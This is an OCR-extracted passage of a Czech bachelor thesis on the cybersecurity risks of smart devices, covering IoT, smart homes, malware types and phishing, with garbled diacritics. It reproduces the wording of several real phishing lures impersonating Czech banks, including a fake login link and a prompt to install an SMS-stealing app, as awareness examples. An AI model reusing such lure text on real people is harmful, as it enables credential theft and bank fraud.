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ABSTRAKT

Bakalatskéa prace je vénovana problematice rizik spojenych s vyuzivanim smart technologii.
Teoreticka ¢ast seznamuje Sirsi vefejnost s aspekty kybernetické kriminality a souvisejicimi
bezpec¢nostnimi riziky. Zaroven informuje o rizikovych zptisobech chovani v kyberprostoru,
pfedev§im na socidlnich sitich a zisadach bezpecnosti pfi uzivani smart technologii.
Prakticka cast prace se zabyva phishingovym utokem mobilni pfihlasovaci stranky a
osobniho uctu Facebook a naslednou analyzou ziskanych dat a informaci, které Facebook za
dobu mého pouzivani této aplikace ziskal a mohly by v pfipadé zneuziti piedstavovat
bezpecnostni riziko. Déle poskytuje praktickd doporuceni, jak odhalit kybernetické hrozby
pomoci online néstroje a postupy k zvysSeni bezpecnosti a soukromi pii pouzivani aplikace

Facebook.

Kli¢ova slova: smartphone, kyberkriminalita, kyberprostor, phishing, botnet, socidlni sité

ABSTRACT

The bachelor thesis is devoted to the issue of risks associated with the use of smart
technologies. The theoretical part acquaints the wider public with aspects of cybercrime and
related security risks. At the same time it informs about risky behavior in cyberspace,
especially on social networks and principles of security when using smart technologies.
The practical part of the thesis deals with the phishing attack of mobile login page and
personal Facebook account and subsequent analysis of the data and information that
Facebook acquired during my use of this application and could in case of misuse
be a security risk. It also provides practical recommendations on how to detect cyber threats
using an online tool and procedures to increase security and privacy when using Facebook

application.

Keywords: smartphone, cybercrime, cyberspace, phishing, botnet, social networks
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UvVOD

Dnesni vyspéla doba internetu a riznych smart (chytrych) zafizeni piipojenych do internetu
nam nabizi spoustu moznosti jejich vyuziti a bezesporu nam tyto technologie usnadnuji
zivot. Mizeme rychle a efektivné komunikovat s ¢lovékem na opaéné strané¢ zemékoule 1
vcéetné prenosu videa v redlném Case, seznamovat se s novymi lidmi, sdilet spole¢né zazitky
a fotografie na socialnich sitich, ale i1 vyuzivat tyto chytré technologie k provadéni plateb a
ovladani dalSich smart zatizeni, které se naptiklad staraji o nasi domécnost, a mit tak prehled
o vSem, co se u nas doma déje pomoci chytrého telefonu, ktery se stal neoddélitelnou
soucasti zivota vétSiny mladych, ale i starSich lidi a déti. Mohlo by se zdat, Ze zijeme v takika
idealni dob& a smart technologie poskytuji samé vyhody, ale opak je pravdou. JelikoZ tato
zafizeni maji pfistup k internetu, existuji zde hrozby v podobé kybernetickych utokl a
uto¢nikd, které pro uzivatele predstavuji rizna bezpecnostni rizika. Motivace pivodci
téchto utokli se méni v zavislosti na druhu vykonavané kybernetické kriminality. Z velké
¢asti jde atocniklim o finanéni zisk na zdklad€ ziskanych dat uzivatele a zneuziti jeho
neznalosti ¢i davery. V jinych pfipadech, je jejich cilem naptiklad vytadit z provozu
systémy organizaci ¢i firem hromadnymi utoky, skrze zneuzita chytra zatizeni anebo vyvolat
urCitym zpusobem natlak na lehce zmanipulovatelnou osobu, napt. nezletil¢ dite, které se
stalo teréem uto¢nika na socidlnich sitich a pfimét ji k provedeni ¢innosti, jako je v Castych
pfipadech zaslani obnaZenych fotografii, diky niz dto¢nik ziskdva sexudlni
uspokojeni a uritou moc nad obéti, kdy tyto materidly pozd€ji mize pouzivat jako

prostiedky k vydirani a tzv. , kyberSikany*.
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I. TEORETICKA CAST



UTB ve Zliné, Fakulta aplikované informatiky 11

1 INFORMACNI A KOMUNIKACNI TECHNOLOGIE (ICT)

K tomu, aby vibec k pachani kybernetickych utokl a s tim souvisejicim bezpecnostnim
rizikim dochazelo, je za potiebi vyuziti nehmotného, virtudlniho prostiedi, které
zprosttedkovavaji zafizeni s pfistupem do sité internet. [1] Toto prostfedi dava pachatelim
Siroké pole ptisobnosti a za urcitych okolnosti i dostatek anonymity, coz je pro kyberzloc€ince
velkou vyhodou oproti konani trestné Cinnosti v redlném svété, kde je riziko odhaleni

totoznosti bezesporu vyssi. [2]

1.1 Internet

»Internet je decentralizovana celosvétova sit’ spojujici pocitace riiznych vlastnikii, kterd je
odolna proti vypadku jedné nebo nékolika casti. Umoznuje sdileni dat, pouzivani e-mailu
a mnoho dalSich sluzeb. Internet nekontroluje Zadna autorita a cely systém je vybudovain

tak, aby se ridil sam.* [3]

Jednotliva zafizeni v této siti mezi sebou komunikuji pomoci protokold TCP/IP. Mezi
desitkami sluzeb, které internet poskytuje je nutno zminit sluzbu WWW (World Wide Web),
ktera je kombinaci textd a grafiky vzajemné propojenymi hypertextovymi odkazy a sluzba
elektronické posty znamé jako email. Cilem této sité je zajisténi rychlé a bezchybné vymeény

dat mezi uzivateli (komunikace). [4]

1.1.1 Historie a soucasnost

Prvni zminky o internetu sahaji na ptelom 50. a 60. let, kdy Ministerstvo obrany Spojenych
stati zadalo poZadavek na vytvofeni datové sité, ktera nebude zavisla na centralnim prvku
v ptipad€ zniceni nékterych ¢asti a bude nadale funkéni diky svému nezavislému propojeni.
V roce 1969 zacina vyvoj sité¢ s nazvem ARPANET, ktera se rychle rozsifila uz v roce 1973
az za hranice, presnéji do Velké Britanie a Norska. Diky finan¢nim dotacim se vyvoj
zrychluje a rodi se protokol TCP/IP (pouzivany dodnes), ktery je verejné dostupny a
pfipojuji se dalsi pocitace a sité. Nasledkem tohoto vyvoje vznikla globalni sit’, kterou dnes

zndme pod pojmem internet. [3]

Za oficialni ptipojeni Ceské republiky (Ceskoslovenska) k internetu se povazuje rok 1992,
kdy doslo k ptipojeni sdlového pocitace IBM 4341, pomoci pronajatého pevného telefonniho
okruhu vedouciho zCVUT na Univerzitu Jana Keplera v rakouském Linci a

Ceskoslovensko se timto krokem stalo 39. zemi pfipojenou do globalni sité internet. [5]
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V sou¢asné dobé, dle tdaji, které zveiejnil Cesky statisticky ufad, bylo vroce 2018
pfipojeno do sité internet 4/5 Ceskych domécnosti. [6] Mezinarodni telekomunikacni unie
(ITU) ve své vyrocni zprave uvadi informaci, ze k siti internet bylo v témze roce pfipojeno

vice nez polovina svétové populace (51,2 %). [7]

1.2 Kyberprostor

Jelikoz prozatim neexistuje jedna konkrétni definice kyberprostoru, povazujme ho tedy za
jakysi virtualni (nehmotny) svét plny informaci tvofen vzajemnym propojenim informac¢nich
a komunikacnich systémii, ktery ndm umoziuje vzajemné komunikovat, vytvaret, vyuzivat
aukladat informace. Zahrnuje tak v§echny vzajemné propojené pocitace, zatizeni a databaze

ptipojené do celosvétové sité internet. [1], [8]
Zakon o Kybernetické bezpecnosti ¢. 181/2014 Sb. vyklada tento pojem nasledovné:

~Kybernetickym prostorem digitalni prostredi umozZnujici vznik, zpracovani a vyménu
informaci, tvorené informacnimi systémy, a sluzbami a sitemi elektronickych komunikaci.*
[9]

Dalsi definici kyberprostoru dle knihy CyberSecurity je:

-Kyberprostor je virtudlni realitou, nemajici konec ani zacatek. Tato virtualni realita je vSak
zcela zavisla na materialni podstaté, tedy technologiich nachdzejicich se ve svete

realnem.* [10]

Piedstavit si kyberprostor 1ze také na piikladu podle britského spisovatele Bruce Sterlinga
zroku 1982. Definuje jej jako misto, kde se nachdzi telefonni konverzace. Neni to ani v

telefonu, ze kterého volame, ani v telefonu ptijemce hovoru, ale nékde mezi nimi. [11]

1.3 Smart zarizeni a Internet véci (IoT)

Za smart zafizeni, v prekladu do ceStiny ,.chytra zafizeni®, jsou povazovana vSechna
zafizeni, ktera jsou schopna se pfipojit do siti ¢i komunikovat s dal$imi zatfizenimi pomoci
bezdratovych technologii. Diky své interaktivité maji uzivateli pomahat a ulehCovat bézné
denni ¢innosti véetné moznosti vzdalené komunikace a ovladani. VétSina téchto chytrych
zafizeni jsou v podob€ osobni spotiebni elektroniky, jako jsou chytré mobilni telefony

(smartphony), tablety, chytré hodinky, chytré bryle, chytré televize apod. [12]
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Nicmén¢ patii sem i méné znama chytréa zatizeni, kterd se vSak v dneSni dob¢ velice rychle
vyviji. Jedna se naptiklad o chytré lednice, zdrovky, zasuvky, chytré termostaty, ale i chytré

zvonky €1 zdmky, détské chiivicky, vysavace apod. [13]

Vsechna tato zafizeni a mnoho dalSich, kterd jsou schopna sbirat a odesilat data napiiklad

do aplikace v nasem chytrém telefonu a vzdjemné komunikovat pomoci bezdratovych siti,

spolu tvofi sit’, kterou nazyvame Internet véci, v prekladu Internet of Things — [oT. [14]

Obr. 1. Internet veci — loT [15]

Statistiky z roku 2019 uvadi, Ze k této rychle rostouci siti bylo pfipojeno vice nez 26 miliard

zafizeni a podle odhadl bude jejich pocet v roce 2025 skoro trojnasobny. [16]
Na kazdé takové zatizeni, které je pripojené a schopné komunikovat po siti internet, mohou
pusobit hrozby v podobé kybernetickych utok, jejichz cilem je ziskat nad danym zatizenim

plnou kontrolu ¢i ziskat pfistup k citlivym datim. [14]
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1.3.1 Chytra domacnost (Smart home)
Kniha Inside the Smart Home definuje chytrou domécnost jako:

,Domdcnost, ktera je vybavena vypocetnimi a informacnimi technologiemi, které predvidaji
a odpovidaji potrebam obyvatelum domdcnosti, zajistuji komfort, zabavu a bezpeci

prostrednictvim spravy technologii v domdcnosti a propojeni s okolnim svetem.* [17]

Jak jiz bylo zminéno, chytrd zafizeni maji uzivatelim pomahat v dennich aktivitach a Setfit
Cas a ptipadné 1 penize. Ptes aplikaci v naSem smartphonu si nastavime pozadovanou teplotu
na naSem chytrém termostatu a po pfijezdu domii mame dim vyhtaty ¢i vychlazeny.
Ptipojime se k bezpecnostnim zatizenim a systémtm, které monitoruji prostory domacnosti,
mame moznost zivého sledovani kamer a jejich ovladani, zhasinani ¢i rozsvécovani svétel,
zatahovani rolet, informace o zasobach v lednici, az po sledovani nasich ratolesti pomoci
détskych chlivicek. Mnozstvi vyhod a funkci chytrych zafizeni je opravdu Siroka skala, ale
méli bychom mit i povédomi o druhé, temné strané téchto zafizeni, kterou je moznost
zneuziti téchto smart technologii. [14] Jsou znamy piipady, kdy utoc¢nici ziskali ptistup k
zafizenim v chytrych domdacnostech a ptevzali kontrolu nad kamerami, termostaty ¢i audio
systémem apod. Utoénici tak naptiklad v domécnosti pomoci napadenych chytrych zafizeni
nastavovali vysoké teploty a poustéli hlasitou hudbu s vulgarnim kontextem. [18] Scénaiti,
které se tedy mohou diky zneuziti téchto chytrych zatfizeni odehrat si miizeme ptedstavit

nékolik:

e kamerovy systému — sledovani — odhaleni soukromi

e dvefni zdmkové systémy — odemceni — kradeze

e chytry vysavac¢ — sledovani prostoru domacnosti

e lednice — vypnuti — zkazeni potravin

e termostat — nastaveni vysokych teplot — moznost vzniku pozaru

a dalsi...

AvSak zneuziti napiiklad zminéného chytrého termostatu v sobé neskryva jen riziko
pietopené domacnosti, €i v extrémnim piipad¢ vznik pozaru. Vzhledem ke skute¢nosti, ze
toto zafizeni lze uZivatelem naprogramovat tak, aby udrzovalo teplotu na urcité trovni, kdyz
je majitel ¢i rodina v domé, miZze byt nastaven i rezim, kdy neni tfeba domacnost udrzovat
,,V teple®. Pfikladem mitize byt odjezd rodiny na zimni dovolenou. Tento tdaj o teploté mtze
predstavovat bezpecnostni riziko, jelikoZ tito¢nik se pomoci této informace dozvida, zda je

dim prazdny ¢i nikoliv a zvySuje se tedy riziko vykradeni domécnosti. [19]
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Smart Home

m =

Obr. 2. Smart home — chytra domdacnost [20]

Spolecnost Avast, kterd je jednim z nejvétSich poskytovatelii kybernetického zabezpecenti,
provadéla analyzu vice nez 16 milionti ,,chytrych domacnosti®, pti které zjistila, ze dvé z péti
chytrych domdacnosti mé pfipojeno alespoil jedno chytré zafizeni, které neni dostatecné
zabezpecené proti kybernetickym utokim a pfedstavuje tak bezpecnostni riziko pro vSechna
zafizeni v siti dané chytré domacnosti. Ze statistik taktéZ vyplyva, Ze nejvétsi bezpecnostni
rizika predstavovaly pro chytré domécnosti slabé a snadno uhodnutelné ptistupové udaje

k jednotlivym zatizenim a hned poté nasledoval neaktudlni software zatizeni. [21], [22]
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Obr. 3. Bezpecnostni rizika chytrych domdcnosti [22]

1.3.2 Router — dvere do chytré domacnosti

Router, Cesky ,,smérovac®, je sitové zafizeni, které slouzi k propojeni dvou anebo vice
pocitacovych siti a naslednému predavani (smérovani) datovych paketd. [23] V ptipadé
chytré domacnosti tedy komunikuje mezi internetem a jednotlivymi zafizenimi, kterd jsou
do této sité¢ pfipojeny. [24] Lze jej tedy povaZovat za pomyslnou ,branu k internetu‘.
V piipadé, ze je toto zafizeni nedostatecné zabezpeCeno, je tedy =zranitelné vuci
kybernetickym ttoktim a ptedstavuje riziko pro vSechna zatizeni, kterd jsou v dané chytré
domacnosti pfipojena. Dle statistiky spolecnosti Avast bylo zjiSténo, Ze bezmala 60 %
routeri ma slabé piihlaSovaci udaje, pfedevSim heslo anebo jinou zranitelnost, jako je
napiiklad zastaraly software. Alarmujici je taktéz fakt, ze stejné procento uzivatell se nikdy
nepiihlasilo do administraéniho prostfedi routeru pro zménu hesla ¢i aktualizaci softwaru
zatizeni. [22] Neni tedy tézké si piedstavit, Ze v ptipadé prolomeni ochrany tohoto prvku
chytré domdacnosti muze dojit k neoprdvnénému piistupu tfeti osoby knaSi sitové
komunikaci, osobnim informacim a datiim, ktery miize vést ke kradezi identity a naslednym
podvodiim, instalaci Skodlivych koda (malware) ¢i napadani a zneuzivani dalSich zatfizeni

apod. [25]
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1.3.3 Chytry telefon (smartphone)

Nejcastéjsi smart zafizeni, které denné¢ vyuziva vétSina z nds. Chytry telefon neboli
,smartphone®, je mobilni telefon pfedevsim s dotykovym displejem, ktery pouziva operacni
systém, a krom¢ telefonovani ¢i zasilani textovych SMS zprav poskytuje uzivateli mnoho
dalsich funkci. Patfi mezi n€ naptiklad pofizovani fotografii ¢i videi pomoci vestavéného
fotoaparatu, surfovani na internetu, hrani her, pouzivani socialnich siti, ¢teni a odesilani
mailii, navigovani pomoci GPS ¢i vyuzivani spousty rtiznych aplikaci tietich stran véetné
mobilniho bankovnictvi a provadéni plateb. Mezi dva nejvice vyuzivané operacni systémy

patii Android a i0S. [26]

Android — operacni systém, ktery je veden spolecnosti Google, ale zdrojovy kod je
poskytovan jako tzv. open source, coz znamena, ze je veiejné pristupny a lze jej tedy
upravovat a vytvaret vlastni varianty pro rizna zatfizeni. [27] Dle statistik vyuziva tento
operacni systém celosvétové bezmala 76 % smartphont. [28] Pro instalaci aplikaci je
vyhrazena aplikace Google Play Store, avSak instalovat je 1ze i mimo tento prostfedek, coz

vSak zvySuje riziko zneuZiti takového zatizeni.

Tento operacni systém obsahuji i telefony znacky Huawei a ZTE, kterych se tykala nedavna
medialni kauza, diky které je Narodni Gfad pro kybernetickou a informacni bezpecnost
(NUKIB), ozna¢il za kybernetickou hrozbu a vydal varovani pied moznymi bezpeénostnimi
riziky plynoucimi z vyuzivani téchto chytrych zatizeni. Zarovent doporucil tato zafizeni
nepouzivat. Pfedev§im se varovani tykalo moznych odposlechti hovort, pfistup k datim ¢i

lokalizace uzivateld az kradezi identity. [29]

iOS — operacni systém, ktery vytvoftila spole€nost Apple a je ur€en pouze pro zatizeni pod
touto znaCkou. Chytré telefony s timto operacnim systémem zname pod nazvem iPhone. [30]
Celosvétove tento operacni systém pouziva necelych 23% zatizeni. [28] Misto, odkud je

mozné stahovat a instalovat aplikace pro tato zatizeni se nazyva App Store.

Vzhledem k stale vét$i dostupnosti internetu a rychlosti ristu poctu chytrych zatizeni lze
predpokladat, Ze se stanou béZnou soucasti, da se fici, kazdého jednotlivce i domacnosti.
Statistiky vSak stale dokazuji, Ze pomérna ¢ast uzivatelli t€chto zatizeni nedba na jejich

dostate¢né zabezpeceni a vystavuji se tak riziku jejich zneuziti.



UTB ve Zliné, Fakulta aplikované informatiky 18

2 KYBERNETICKA KRIMINALITA

Zpusobt, jak zneuzit chytra zafizeni a uzivatele s pfistupem do sit¢ internet je velké
mnozstvi. Hrozby ptisobi na uzivatele, da se fici, na kazdém ,,kroku*, ktery v rdmci internetu
provede. At uz se jednd o ¢teni emaild, sledovani videi, stahovani a pouzivani aplikaci ¢i
vyuzivani socidlnich siti. Definovat Ize tedy kybernetickou kriminalitu jako ,jednani
namirené proti pocitacovému systému, pocitacove siti, datum ¢i uZivatelum nebo jako

Jjednani, pri némz je pocitacovy systém pouZit jako ndastroj pro spachani trestného cinu.* [10]

2.1 Socialni inZenyrstvi

Je definovéno jako ,,Zpusob manipulace lidi za ucelem provedeni urcité akce nebo ziskani
urcité informace.” [31] Jedna se tedy o manipulacni ¢i presvédcovaci techniku, kterou
pouzivaji hackefi nebo jen obycejni podvodnici na uzivatele, ktery se stal obéti jejich utoku,
proveden¢ho skrze chytré zatizeni a internet. Cilem socidlniho inZenyrstvi v oblasti
kyberkriminality je tedy ,, v obéti navodit dojem, Ze situace, v niz se nachazi, je jind, nez ve
skutecnosti je.” [2] Vyuziva se tedy neznalosti ¢i duvéry nejvétsi slabiny vsech
bezpecnostnich systémtl — ¢loveéka (uzivatele), ktery v pfipadé vhodné zvolené techniky
socialniho inZenyrstvi dobrovolné vyzradi napiiklad hesla ¢i jiné citlivé informace pfi

provedeni urcité akce. [2]

2.2 Hackeri a jejich déleni

Slovo ,,hacker* je vefejnosti pomérné znamé, ale ne zcela vSichni chapou plné jeho pravy
vyznam. VétSina z nas si tento pojem spoji s osobou, kterd pomoci informac¢nich technologii
provadi utoky na rtzné cile a zptsobuje Skody. Definice tohoto slova dle Vykladového

slovniku kybernetické bezpecnosti zni nasledovné:

»Osoba, kterd se zabyva studiem a prozkoumavanim detailii programovatelnych systémii

nejcastéji pro intelektualni zvidavost a tuto schopnost si neustadle zdokonaluje.* [31]

Je tedy zfejmé, Ze pojem ,.hacker® nemusi byt nutn€ oznaceni pro utocnika, ktery se snazi
vyuzivat své znalosti k pachani Skod, ale 1 pro uziteCnou osobu, ktera se velmi dobie
orientuje v oblasti informacénich technologii a byt tak v mnohych piipadech velice
prospesnou a zadanou. Hackery proto mizeme rozdélit do tii zdkladnich skupin dle jejich

zamgéteni a zpisobu vykondvani své ¢innosti. [2]
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White Hat

Jednd se o tzv. etické ,,hodné“ hackery, ktefi jsou Casto zaméstnavani ¢i najimani
spolecnostmi. Jejich ¢innosti je napadani a prolamovani bezpecnostnich opatteni riznych
systému s cilem vyhledavani bezpecnostnich slabin. Jde tedy o hackery, ktefi poméahaji
subjektim odhalovat slaba mista v jejich systémech a navrhuji feSeni k odstranéni
nedostatkii v bezpe¢nostnich opatienich. Cinnost této skupiny hackeri tedy nema zadny

kriminalni podtext. [32]
Black Hat

Tato skupina hackert je pravym opakem etickych hackerti (White Hat). Dle terminologie se
oznacuji i jako tzv. crackefi — odvozeno od anglického slova crack — prolomit. [31] Jsou to
prave ti ,.zli hackefi®, o kterych se mezi vetejnosti a v médiich hovoii v souvislosti s

hackerskymi ttoky a kyberkriminalitou.

., Jejich motivaci je snaha zpusobit uzivateli napadeného systému skodu ci jinou ujmu, resp.
ziskat majetkovy nebo jiny prospéch. Mimo vlastni realizaci prolomeni napadeného systému
je v jejich jednani patrny jesté dalsi, kriminalni prvek.* [2]

Za tyto prvky miizeme oznacit naptiklad tvorbu a $ifeni Skodlivych kodi, kradeze dat ¢i

finan¢nich prostfedki a nasledné vydirani atd. [2]
Gray Hat

Do této skupiny hackerti, ktera znaci ,,Sedou zonu*“ patii osoby, které svymi aktivitami
pusobi na rozmezi ptedeslych dvou skupin. [2] Tito hacketi napiiklad provadéji utoky a
zneuzivaji slabin v systému, avSak bez pfedchoziho uvédoméni ¢i souhlasu napadeného
subjektu. V piipad¢, ze se podafi najit zplisob jakym prolomit bezpeCnostni opatieni
systému, oznami tuto skute¢nost opravnénym osobam daného subjektu a za uplatu nabidnou

feSeni k ochran¢ pred dalSimi utoky. [33]

2.3 Malware

Malicious software, zkracené malware, je obecny vyraz pro jakykoliv §kodlivy program, kod
¢iaplikaci. [31] Druhtt malware existuje nékolik a 1i$i se od sebe zplisobem, jakym se chovaji
v napadeném zafizeni a co je jejich cilem. Dle statistik spolecnosti Kaspersky, ktera se
zabyva otazkou kyberbezpecnosti, bylo zjisténo, Ze vroce 2018 se s urcitym druhem

malware pro chytra zafizeni, pfedevS§im smartphont, setkalo pfiblizn€¢ 10 miliont uzivatela.
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Nejvetsi narust byl zaznamenan u tzv. Trojan droppert, které do infikovaného zafizeni
instaluji dalsi sSkodlivé kody, naptiklad Trojské koné uréené k napadadni mobilniho

bankovnictvi ¢i ransomware. [34]
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Obr. 4. Falesna vyzva k instalaci podvodné aplikace k odstranéni malware [35]

Ransomware

Ransomware je typ malware, ktery je specificky v tom, Ze v napadeném zatizeni zaSifruje
data, ¢i uzamkne uzivatelské prostiedi a za rozsifrovani ¢i odemknuti pozaduje po uzivateli
zaplatit ,,vykupné“. Casto byva tato vyzva k zaplaceni umocnéna zobrazenym Gasovym
limitem pro jesSt¢ vétsi natlak na obét’ tohoto utoku. V piipadé€, Ze thrada vykupného
neprobéhne, dojde ke nendvratnému zasifrovani ¢i smazani dat. [36] Pfikladem muze byt
ransomware s nazvem Android/Filecoder.C, ktery se zacal §ifit zacatkem Cervence 2019 na
riiznych internetovych forech za pomoci odkazu na aplikaci pro systém Android. Uto&nici
lakali uzivatele na urcity pornograficky material, ktery mél byt dostupny po instalaci této
aplikace. U uzivatell, ktefi si na daném odkazu do zafizeni stdhnuli a nainstalovali danou
aplikaci, doSlo k zaSifrovani souborti s vyzvou k zaplaceni urcité¢ castky. Mimo tuto

skute€nost dochazelo k Sifeni tohoto typu malware pomoci SMS zpravy, kterou napadené

chytré zatizeni rozeslalo vSem kontaktim. [37]
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Obr. 5. Ukazka ransomware —

Android/Filecoder.C [38]

Spyware

Jedna se o malware, ktery ma za kol sledovat ¢innost, kterou na daném zafizeni uZivatel
provadi s cilem ziskdvat rtiznd data. [39] Dochazi naptiklad ke sledovani nejcastéji
navs§tévovanych webovych stranek, spousténych aplikacich, ale 1 informaci osobniho
charakteru. Tato data jsou nasledné odesilana ptivodci tohoto malware. [2] Sesbirana data
pot¢é mohou poslouzit klepSimu cileni reklamy na wuzivatele. VéEtsi bezpecnostni
riziko vSak miize pfedstavovat ten typ spyware, ktery je schopny ziskat ptistup ke kamete ¢i
mikrofonu chytrého zafizeni, coz mize vést az ke kradezi identity uzivatele ¢i pramyslové
Spionazi. [40]

Viry

v

Virus je typ malware, ktery je schopny se sam §ifit ¢i mutovat a ¢asto byva spustén spolu
s jinou aplikaci. [31] Na smartphonech se viry nejcastéji vyskytuji pro operacni systém
Android. Oproti tomu na zafizenich s i0S je jejich vyskyt pomérné vzacny. Cilem viru je

z napadeného zafizeni odcizit citliva data, kterd titocnici mohou vyuzit pro finan¢ni zisk.
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Viry dokazi naptiklad i nahravat telefonni hovory a ¢ist ¢i odesilat zpravy. Bez védomi
uzivatele tak dochazi k odesilani SMS zprav na prémiova telefonni ¢isla a tim k finan¢ni

ztraté obéti takto napadeného chytrého zatizeni, a naopak zisku na stran¢ ptivodce viru. [41]
Trojsky kun
Definice Trojského koné dle vykladového slovniku kybernetické bezpecnosti zni

nasledovné:

wProgram, ktery plni na prvni pohled néjakou uZitecnou funkci, ale ve skutecnosti ma jeste
néjakou skrytou skodlivou funkci. Trojsky kiin se sam nereplikuje, Sivi se diky viditelné uzitné

funkci, kterou poskytuje.* [31]

Trojsky kin tedy muze vypadat jako obycejna aplikace naptiklad v podobé antiviru
(aplikace pro odstranéni malware) ¢i pfilohy v emailu. Po spusténi dochdzi k instalaci
malware do zafizeni a nédslednému pachani Skod podle toho, k ¢emu byl Trojsky kun
vytvoren. Typt Trojskych koni existuje velké mnozstvi, avsak za zminku stoji napiiklad
Trojsky kin zamétfeny na bankovnictvi, ktery se soustiedi hlavné na kradeze udaju

kreditnich karet a dalSich dat tykajicich se oblasti financi a plateb. [42]

Znamym piipadem byla aplikace CamScanner, kterd dle oficidlniho obchodu Google Play
dosahla pres 100 miliond stazeni do chytrého telefonu ¢i jiného zatizeni. Aplikace slouzila
ke tvorbé PDF dokumentii pomoci fotoaparatu a funkce OCR neboli optického rozpoznavani
znakl. Prvni verze aplikace byly ,,Cisté”, avSak v prubéhu aktualizovani a vylepSovani
aplikace doslo 1 k implementaci malware, ktery uZivatelim v nabizel neZadouci reklamy ¢i

nutil uZivatele k jinym placenym sluzbam. [43]

Dalsi aplikaci pfedstavujici bezpecnostni riziko byla volné dostupna aplikace QRecorder,
slouzici k nahravani hovort. Po aktualizaci se stala Trojskym koném a v telefonu zjistovala,
zda ma uZivatel nainstalované piedev§im bankovni aplikace. Jestlize byl vysledek hledani
pozitivni, probé&hlo stazeni dal§iho malware, ktery m¢l za ukol ¢ist pfihlasovaci udaje a v
neposledni fade i Cist SMS zpravy, coz umoznilo plny ptistup k internetovému bankovnictvi,

1 ptes existenci dvoufazové autentizace. [44]



UTB ve Zliné, Fakulta aplikované informatiky 23

QRecorder

NickBaza MNastroje * ko 2

H peci3

Obr. 6. Rizikova aplikace QRecorder [45]

Malware utoky, 1ze vzhledem k jejich spolecenské Skodlivosti, postihovat podle ustanoveni
Trestniho zakoniku ¢. 40/2009 Sb., na zaklad€ naplnéni skutkové podstaty nasledujicich

trestnych ¢inti:

e Neopravnény pfistup k pocitacovému systému a nosic¢i informaci, dle § 230,
zékona ¢. 40/2009 Sb.,

e PoruSeni tajemstvi dopravovanych zprav, dle § 182, zdkona ¢. 40/2009 Sb.,

e Opatfeni a prechovavani pfistupového zafizeni a hesla k pocitacovému systému a
jinych takovych dat, dle § 231, zdkona €. 40/2009 Sb.,

e Vydirani, podle § 175, zdkona ¢. 40/2009 Sb.

V zavislosti na rozsahu, zptisobenych skodach a zpisobu provedenti, se trest v podobé odnéti

svobody pohybuje od 6 mésicii do 8 let. [2], [46]

2.4 Phishing

Jednd se o velmi Casty projev kyberkriminality, kdy se vyuzivd technika socidlniho
inZenyrstvi, kterou Utocnici zneuzivaji k ziskani cennych informaci obéti. Jelikoz se skrze
chytréd zatizeni uzivatelé ptihlaSuji do riznych aplikaci a online sluzeb ¢i provadi finan¢ni

transakce, piedstavuje phishing pomérné velké bezpecnostni riziko v piipadé zmocnéni se
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dalezitych tdaji utoénikem. Mezi tyto udaje patii napiiklad udaje o kreditnich kartach ¢i

pfistupova hesla a jména k riznym sluzbam jako internetové bankovnictvi, socidlni sité,

email apod. Popularni formou §ifeni phishingu je skrze mailovou komunikaci, kdy uzivatel

obdrzi zpravu, ktera se napiiklad vydava za dilezitou zpravu z banky, tykajici se

zabezpeceni U¢tu a zmény hesla. Mailova zprava zpravidla obsahuje odkaz na podvodnou

webovou stranku, kterd je identicka s tou, kterou uzivatel povazuje za divéryhodnou. V

okamziku, kdy dojde uzivatelem k vyplnéni pozadovanych udaji na podvodné webové

strance, dochazi k odeslani téchto citlivych informaci k ato¢nikovi. [47]

RA

Raiffeisenbank
komu: I

learltd cloud ~ Dnes 8:38

=% Nekdo se pokusil zménit vase telefonni Cislo.

E-mail byl zafazen do sloZzky Doruéené na zakladé adresy kamil. kopecky@upol.cz, ktera se nachazi v adreséfi

Povolené. Zobrazit nast

x Raiffeisen
BANK

Vazeny zakazniku,

Doslo k moznému pokusu o manipulaci s vasim uc¢tem. S nasi bankou to byla ¢asté situace. Zkontrolujte, zda
vase registrované mobilni &islo stale pfijima sms kody od banky. Toto je velmi dllezita zprava a neignorujte ji,
abyste neztratili penize neopravnénym osobam

Kliknutim niZze ovérfte, zda jsou vase Udaje stale spravne.

https://www.rb.cz/cz/particulieren/bank/startup/login-infodata/htm

© 2020 Raiffeisenbank

Obr. 7. Phishing zaméeny na klienty Raiffeisenbank CR - nenechte se nachytat,
odkazy vedou na podvodné stranky. [48]
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CESKAE
SPORITELNA

Jame Vam bilik.
Waieny zakazniku,
Wy mate nové zpravy on-line .

Chcete-li zobrazit svou zabezpetenou zpravu, prihlaste se do sluzby Internetove
bankovnictvi a2 pouZijte kanal zabezpatené zpravy. PhihlaSeni SERVIS 24,

Dékuju pomoci SERVIS 24

S pozdravem,
Ceska spofitelna

r

©® Ceska spoiitelna, as Véechna prava wyhrazena. Materialy urtené pro Verejnost.

Obr. 8. Podvodny email vydavajici se za Ceskou sporitelnu [49]

Jelikoz v dnesni dobg, da se fict, vSechny banky poskytujici internetové bankovnictvi maji
zavedeny systém dvoufaktorové autentizace, ktery vétSinou spociva v zadani hesla a
nasledné potvrzeni ptihlaseni skrze SMS kod zaslany do mobilniho telefonu, je k dokonceni
utoku a ziskani plného ptistupu k bankovnimu Gc¢tu obéti ziskat prave i tento SMS kod. Poté,
co tedy obét’ vyplnila na podvodné webové strance své piihlaSovaci tidaje a doslo tedy k
jejich odeslani k uto¢nikovi, nasledoval dalsi krok v podobé presvédceni uzivatele ke stazeni
aplikace pod zaminkou zvySeni bezpec¢nosti spojeni. Tato aplikace vSak pro operacni systém
Android obsahovala malware, ktery byl ureny pravé ke cteni a skrytému pieposilani
autentiza¢nich SMS zprav (aniz by ob&t’ na SMS byla upozornéna). Utoénik tak ziskal plny

pristup k internetovému bankovnictvi obéti a provadéni finan¢nich transakci. [2]



UTB ve Zliné, Fakulta aplikované informatiky 26

Vazeni kliente!

S5 byla odeslana m Sslo: +. Doruéeni SMS do 5 mumat.

Teload Vi nepfifel TME, naskerajts QR k&d

m 4

Je tieha nainstalovat aplikace OTPdirekt. Stisknéte tlhaditko " Zobrozit instrukee”.

Pazor! Nemidzete pokrateovat dale bez OTP hesla.

OTP heslo Pokratovat

Obr. 9. Vyzva ke stazeni aplikace ke cteni a

preposilani autentizacnich SMS obsahujici malware

2]

2.4.1 Osobni zkuSenost s phishingem

BohuZel 1 ja4 osobné jsem se vroce 2015 stal obéti phishingu. VyuzZival jsem
internetovou penéZenku, na které jsem meél uloZené urcité financni prostiedky, které jsem
vyuzival k bezhotovostnim platbam na internetu. Jednoho vecera jsem na sviyj chytry telefon
obdrZel mailovou zpravu, pravé v podobném znéni, jako uvadéné piiklady vySe. Zprava
nabadala ke kliknuti na odkaz a zménu hesla, jelikoz tidajné dosSlo k neoprévnénému
